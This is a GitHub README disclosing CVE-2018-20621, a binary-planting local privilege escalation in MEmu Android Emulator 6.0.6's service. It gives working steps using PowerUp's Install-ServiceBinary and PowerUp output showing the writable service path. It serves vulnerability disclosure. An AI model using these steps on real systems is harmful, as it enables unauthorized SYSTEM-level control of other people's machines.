Skip to content
Branch: master
Find file History
Fetching latest commit…
Cannot retrieve the latest commit at this time.
Permalink
Type Name Latest commit message Commit time
..
Failed to load latest commit information.
README.md

README.md

CVE-2018-20621: MEmu Android Emulator Local Privilege Escalation

Information

Description: The MemuService.exe service binary is vulnerable to local privilege escalation.
Versions Affected: 6.0.6
Researcher: David Yesland (https://twitter.com/daveysec @daveysec)
Disclosure Link: NA
NIST CVE Link: https://nvd.nist.gov/vuln/detail/CVE-2018-20621

Proof-of-Concept Exploit

Description

The MemuService.exe service binary is vulnerable to local privilege escalation through binary planting due to insecure permissions set at install time. This allows code to be run as NT AUTHORITY/SYSTEM.

Usage/Exploitation

Rename C:\Program Files\Microvirt\MEmu\MemuService.exe to MemuService.exe.old. Then using PowerShellEmpire PowerUp run Install-ServiceBinary -Name 'MEmuSVC'. Reboot.

Detail

ServiceName                     : MEmuSVC
Path                            : C:\Program Files\Microvirt\MEmu\MemuService.exe
ModifiableFile                  : C:\Program Files\Microvirt\MEmu\MemuService.exe
ModifiableFilePermissions       : {WriteOwner, Delete, WriteAttributes, Synchronize...}
ModifiableFileIdentityReference : Everyone
StartName                       : LocalSystem
AbuseFunction                   : Install-ServiceBinary -Name 'MEmuSVC'
CanRestart                      : False
You can’t perform that action at this time.